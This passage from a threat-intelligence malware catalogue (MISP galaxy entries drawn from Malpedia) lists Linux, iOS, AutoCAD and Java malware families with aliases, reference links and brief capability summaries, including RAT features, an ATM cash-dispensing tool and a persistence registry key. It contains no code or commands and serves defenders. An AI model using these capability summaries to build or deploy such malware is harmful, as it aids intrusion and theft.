<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter">https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html">https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/">https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html">https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html</a></td>
</tr>
</tbody>
</table>
WatchBog

According to Intezer, this is a spreader module used by WatchBog. It is a dynamically linked ELF executable, compiled with Cython. C&C addresses are fetched from Pastebin. C&C communication references unique identification keys per victim. It contains a BlueKeep scanner, reporting positively scanned hosts to the C&C server (RC4 encrypted within SSL/TLS). It contains 5 exploits targeting Jira, Exim, Solr, Jenkins and Nexus Repository Manager 3.

The tag is: misp-galaxy:malpedia="WatchBog"

WellMail

The tag is: misp-galaxy:malpedia="WellMail"
elf.wellmess

The tag is: misp-galaxy:malpedia="elf.wellmess"

elf.wellmess is also known as:

Table 2080. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess">https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/541a465f/description">https://community.riskiq.com/article/541a465f/description</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/08/attribution-puzzle.html">https://blog.talosintelligence.com/2020/08/attribution-puzzle.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-116a">https://us-cert.cisa.gov/ncas/alerts/aa21-116a</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellness.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellness.html</a></td>
</tr>
<tr>
<td><a href="https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29">https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/wellness-analysis-command-control.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/wellness-analysis-command-control.html</a></td>
</tr>
</tbody>
</table>

WHIRLPOOL

The tag is: misp-galaxy:malpedia="WHIRLPOOL"
WHIRLPOOL is also known as:

Table 2081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.whirlpool">https://malpedia.caad.fkie.fraunhofer.de/details/elf.whirlpool</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/analysis-reports/ar23-250a-0">https://www.cisa.gov/news-events/analysis-reports/ar23-250a-0</a></td>
</tr>
</tbody>
</table>

WhiteRabbit

The tag is: misp-galaxy:malpedia="WhiteRabbit"

WhiteRabbit is also known as:

Table 2082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.whiterabbit">https://malpedia.caad.fkie.fraunhofer.de/details/elf.whiterabbit</a></td>
</tr>
</tbody>
</table>

Winnti (ELF)

The tag is: misp-galaxy:malpedia="Winnti (ELF)"

Winnti (ELF) is also known as:

Table 2083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.winnti">https://malpedia.caad.fkie.fraunhofer.de/details/elf.winnti</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-atlas">https://www.secureworks.com/research/threat-profiles/bronze-atlas</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://blog.exatrack.com/melofee/">https://blog.exatrack.com/melofee/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a">https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a</a></td>
</tr>
</tbody>
</table>

Wirenet (ELF)

The tag is: misp-galaxy:malpedia="Wirenet (ELF)"
Wirenet (ELF) is also known as:

Table 2084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet">https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=2679&amp;lng=en&amp;c=14">https://news.drweb.com/show/?i=2679&amp;lng=en&amp;c=14</a></td>
</tr>
</tbody>
</table>

**X-Agent (ELF)**

The tag is: *misp-galaxy:malpedia="X-Agent (ELF)"

X-Agent (ELF) is also known as:

- chopstick
- fysbis
- splm

Table 2085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent">https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent</a></td>
</tr>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/">http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/">https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
</tbody>
</table>

**Xanthe**

The tag is: *misp-galaxy:malpedia="Xanthe"

Xanthe is also known as:

Table 2086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe">https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe</a></td>
</tr>
<tr>
<td><a href="https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/">https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/</a></td>
</tr>
</tbody>
</table>
Xaynnalc

The tag is: `misp-galaxy:malpedia="Xaynnalc"`

Xaynnalc is also known as:

Table 2087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc">https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/michalmalik/status/846368624147353601">https://twitter.com/michalmalik/status/846368624147353601</a></td>
</tr>
</tbody>
</table>

Xbash

The tag is: `misp-galaxy:malpedia="Xbash"`

Xbash is also known as:

Table 2088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash">https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/agedlibra/">https://unit42.paloaltonetworks.com/atoms/agedlibra/</a></td>
</tr>
</tbody>
</table>

xdr33

According to 360 netlab, this backdoor was derived from the leaked CIA Hive project. It propagates via a vulnerability in F5 and communicates using SSL with a forged Kaspersky certificate.

The tag is: `misp-galaxy:malpedia="xdr33"`

xdr33 is also known as:

Table 2089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.xdr33">https://malpedia.caad.fkie.fraunhofer.de/details/elf.xdr33</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/">https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/</a></td>
</tr>
</tbody>
</table>
XOR DDoS

Linux DDoS C&C Malware

The tag is: mish-galaxy:malpedia="XOR DDoS"

XOR DDoS is also known as:

• XORDDOS

Table 2090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html">https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html">https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html</a></td>
</tr>
</tbody>
</table>
**ZeroBot**

ZeroBot is a Go-based botnet that spreads primarily through IoT and web application vulnerabilities. It is offered as malware as a service (MaaS) and infrastructure overlaps with DDoS-for-hire services seized by the FBI in December 2022.

The tag is: *misp-galaxy:malpedia="ZeroBot"*

ZeroBot is also known as:

- ZeroStresser

**Table 2091. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.zerobot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.zerobot</a></td>
</tr>
</tbody>
</table>

**ZHtrap**

The tag is: *misp-galaxy:malpedia="ZHtrap"*

ZHtrap is also known as:

**Table 2092. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.zhtrap">https://malpedia.caad.fkie.fraunhofer.de/details/elf.zhtrap</a></td>
</tr>
</tbody>
</table>

**Zollard**

The tag is: *misp-galaxy:malpedia="Zollard"*

Zollard is also known as:

- darlloz

**Table 2093. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard">https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard</a></td>
</tr>
</tbody>
</table>
ZuoRAT

According to Black Lotus Labs, ZuoRAT is a MIPS file compiled for SOHO routers that can enumerate a host and internal LAN, capture packets being transmitted over the infected device and perform person-in-the-middle attacks (DNS and HTTPS hijacking based on predefined rules).

The tag is: misp-galaxy:malpedia="ZuoRAT"

ZuoRAT is also known as:

Table 2094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-espionage-tactics">https://www.mandiant.com/resources/blog/chinese-espionage-tactics</a></td>
</tr>
</tbody>
</table>

AutoCAD Downloader

Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.

The tag is: misp-galaxy:malpedia="AutoCAD Downloader"

AutoCAD Downloader is also known as:

* Acad.Bursted
* Duxfas

Table 2095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad">https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft">https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft</a></td>
</tr>
<tr>
<td><a href="https://github.com/Hopfengetraenk/Fas-Disasm">https://github.com/Hopfengetraenk/Fas-Disasm</a></td>
</tr>
</tbody>
</table>

DualToy (iOS)

The tag is: misp-galaxy:malpedia="DualToy (iOS)"

DualToy (iOS) is also known as:

Table 2096. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy">https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy</a></td>
</tr>
</tbody>
</table>
GuiInject

The tag is: `misp-galaxy:malpedia="GuiInject"`

GuiInject is also known as:

Table 2097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject">https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject</a></td>
</tr>
<tr>
<td><a href="https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/">https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/</a></td>
</tr>
</tbody>
</table>

lightSpy

The tag is: `misp-galaxy:malpedia="lightSpy"`

lightSpy is also known as:

Table 2098. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy">https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack">https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack</a></td>
</tr>
</tbody>
</table>

Phenakite

The tag is: `misp-galaxy:malpedia="Phenakite"`

Phenakite is also known as:

- Dakkatoni

Table 2099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.phenakite">https://malpedia.caad.fkie.fraunhofer.de/details/ios.phenakite</a></td>
</tr>
<tr>
<td><a href="https://malware4all.blogspot.com/2021/05/grab-your-own-copy-phenakite-ios.html">https://malware4all.blogspot.com/2021/05/grab-your-own-copy-phenakite-ios.html</a></td>
</tr>
</tbody>
</table>

PoisonCarp

The tag is: `misp-galaxy:malpedia="PoisonCarp"`
PoisonCarp is also known as:

- INSOMNIA

Table 2100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp">https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp</a></td>
</tr>
<tr>
<td><a href="https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html">https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html</a></td>
</tr>
</tbody>
</table>

Postlo

The tag is: `misp-galaxy:malpedia="Postlo"`

Postlo is also known as:

Table 2101. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.postlo">https://malpedia.caad.fkie.fraunhofer.de/details/ios.postlo</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/opa334dev/status/1374754519268098051">https://twitter.com/opa334dev/status/1374754519268098051</a></td>
</tr>
</tbody>
</table>

TriangleDB

The tag is: `misp-galaxy:malpedia="TriangleDB"`

TriangleDB is also known as:

Table 2102. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.triangledb">https://malpedia.caad.fkie.fraunhofer.de/details/ios.triangledb</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/triangledb-triangulation-implant/110050/">https://securelist.com/triangledb-triangulation-implant/110050/</a></td>
</tr>
</tbody>
</table>

WireLurker (iOS)

The iOS malware that is installed over USB by osx.wirelurker

The tag is: `misp-galaxy:malpedia="WireLurker (iOS)"`

WireLurker (iOS) is also known as:

Table 2103. Table References
X-Agent (iOS)

The tag is: misp-galaxy:malpedia="X-Agent (iOS)"

X-Agent (iOS) is also known as:

Table 2104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ios.xagent">https://malpedia.caad.fkie.fraunhofer.de/details/ios.xagent</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
</tbody>
</table>

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process - log keystroke - take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to download the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: misp-galaxy:malpedia="AdWind"

AdWind is also known as:

- AlienSpy
- Frutas
- JBifrost
- JSocket
- Sockrat
- UNRECOM

Table 2105. Table References
Adzok

The tag is: misp-galaxy:malpedia="Adzok"

Adzok is also known as:

Table 2106. Table References

Banload

F-Secure observed Banload variants silently downloading malicious files from a remote server, then installing and executing the files.

The tag is: misp-galaxy:malpedia="Banload"
Banload is also known as:

### Table 2107. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload">https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload</a></td>
</tr>
<tr>
<td><a href="https://colin.guru/index.php?title=Advanced_Banload_Analysis">https://colin.guru/index.php?title=Advanced_Banload_Analysis</a></td>
</tr>
</tbody>
</table>

**Blue Banana RAT**

The tag is: **misp-galaxy:malpedia="Blue Banana RAT"**

Blue Banana RAT is also known as:

### Table 2108. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.bluebanana">https://malpedia.caad.fkie.fraunhofer.de/details/jar.bluebanana</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60faab36491e07f10bf6a3ebe66ed9238459b2af7e36118fccd50583728141a4/community">https://www.virustotal.com/gui/file/60faab36491e07f10bf6a3ebe66ed9238459b2af7e36118fccd50583728141a4/community</a></td>
</tr>
</tbody>
</table>

**CrossRAT**

The tag is: **misp-galaxy:malpedia="CrossRAT"**

CrossRAT is also known as:

- Trupto

### Table 2109. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x28.html">https://objective-see.com/blog/blog_0x28.html</a></td>
</tr>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
</tbody>
</table>

**DynamicRAT**

DynamicRAT is a malware that is spread via email attachments and compromises the security of computer systems. Once running on a device, DynamicRAT establishes a persistent presence and gives attackers complete remote control. Its features include sensitive data exfiltration, hardware
control, remote action, and the ability to perform DDoS attacks. In addition, DynamicRAT uses evasion and persistence techniques to evade detection and analysis by security solutions.

The tag is: misp-galaxy:malpedia="DynamicRAT"

DynamicRAT is also known as:

- DYNARAT

Table 2110. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.dynamicrat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.dynamicrat</a></td>
</tr>
<tr>
<td><a href="https://gi7w0rm.medium.com/dynamicrat-a-full-fledged-java-rat-1a2dabb11694">https://gi7w0rm.medium.com/dynamicrat-a-full-fledged-java-rat-1a2dabb11694</a></td>
</tr>
</tbody>
</table>

**EpicSplit RAT**

EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string "packet" as a packet delimiter.

The tag is: misp-galaxy:malpedia="EpicSplit RAT"

EpicSplit RAT is also known as:

Table 2111. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.epicsplit">https://malpedia.caad.fkie.fraunhofer.de/details/jar.epicsplit</a></td>
</tr>
</tbody>
</table>

**FEimea RAT**

The tag is: misp-galaxy:malpedia="FEimea RAT"

FEimea RAT is also known as:

Table 2112. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat</a></td>
</tr>
<tr>
<td><a href="https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/">https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/</a></td>
</tr>
</tbody>
</table>
IceRat

According to Karsten Hahn, this malware is actually written in JPHP, but can be treated similar to .class files produced by Java. IceRat has been observed to carry out information stealing and mining.

The tag is: misp-galaxy:malpedia="IceRat"

IceRat is also known as:

Table 2113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.icerat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.icerat</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/icerat-evades-antivirus-by-using-jphp">https://www.gdatasoftware.com/blog/icerat-evades-antivirus-by-using-jphp</a></td>
</tr>
</tbody>
</table>

JavaDispCash

JavaDispCash is a piece of malware designed for ATMs. The compromise happens by using the JVM attach-API on the ATM’s local application and the goal is to remotely control its operation. The malware’s primary feature is the ability to dispense cash. The malware also spawns a local port (65413) listening for commands from the attacker which needs to be located in the same internal network.

The tag is: misp-galaxy:malpedia="JavaDispCash"

JavaDispCash is also known as:

Table 2114. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash">https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r3c0nst/status/1111254169623674882">https://twitter.com/r3c0nst/status/1111254169623674882</a></td>
</tr>
</tbody>
</table>

JavaLocker

The tag is: misp-galaxy:malpedia="JavaLocker"

JavaLocker is also known as:

- JavaEncrypt Ransomware

Table 2115. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker">https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker</a></td>
</tr>
</tbody>
</table>
jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of a red hering reference to jrat.io.

The tag is: misp-galaxy:malpedia="jRAT"

jRAT is also known as:

- Jacksbot

Table 2116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/">https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/malware-against-the-c-monoculture/">https://research.checkpoint.com/malware-against-the-c-monoculture/</a></td>
</tr>
<tr>
<td><a href="https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/">https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/</a></td>
</tr>
</tbody>
</table>

jSpy

The tag is: misp-galaxy:malpedia="jSpy"

jSpy is also known as:

Table 2117. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy">https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy</a></td>
</tr>
<tr>
<td><a href="https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/">https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/</a></td>
</tr>
</tbody>
</table>

Octopus Scanner

The tag is: misp-galaxy:malpedia="Octopus Scanner"

Octopus Scanner is also known as:

Table 2118. Table References
Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: misp-galaxy:malpedia="Qarallax RAT"

Qarallax RAT is also known as:

Table 2119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat</a></td>
</tr>
</tbody>
</table>

Qealler

The tag is: misp-galaxy:malpedia="Qealler"

Qealler is also known as:

- Pyrogenic Infostealer

Table 2120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler">https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler</a></td>
</tr>
<tr>
<td><a href="https://www.herokuiz.com/?p=1352">https://www.herokuiz.com/?p=1352</a></td>
</tr>
<tr>
<td><a href="https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf">https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/">https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/</a></td>
</tr>
</tbody>
</table>
**QRat**

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: `misp-galaxy:malpedia="QRat"`

QRat is also known as:

- Quaverse RAT

**Table 2121. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat">https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat</a></td>
</tr>
<tr>
<td><a href="https://www.digitrustgroup.com/java-rat-qrat/">https://www.digitrustgroup.com/java-rat-qrat/</a></td>
</tr>
</tbody>
</table>

**Ratty**

Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.

The tag is: `misp-galaxy:malpedia="Ratty"`

Ratty is also known as:

**Table 2122. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty">https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty</a></td>
</tr>
</tbody>
</table>

**Sorillus RAT**

Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool
started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (https://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as "Tapt", asserts that the tool is able to collect the following information from its target: - HardwareID - Username - Country - Language - Webcam - Headless - Operating system - Client Version

The tag is: misp-galaxy:malpedia="Sorillus RAT"

Sorillus RAT is also known as:

Table 2123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus">https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus</a></td>
</tr>
<tr>
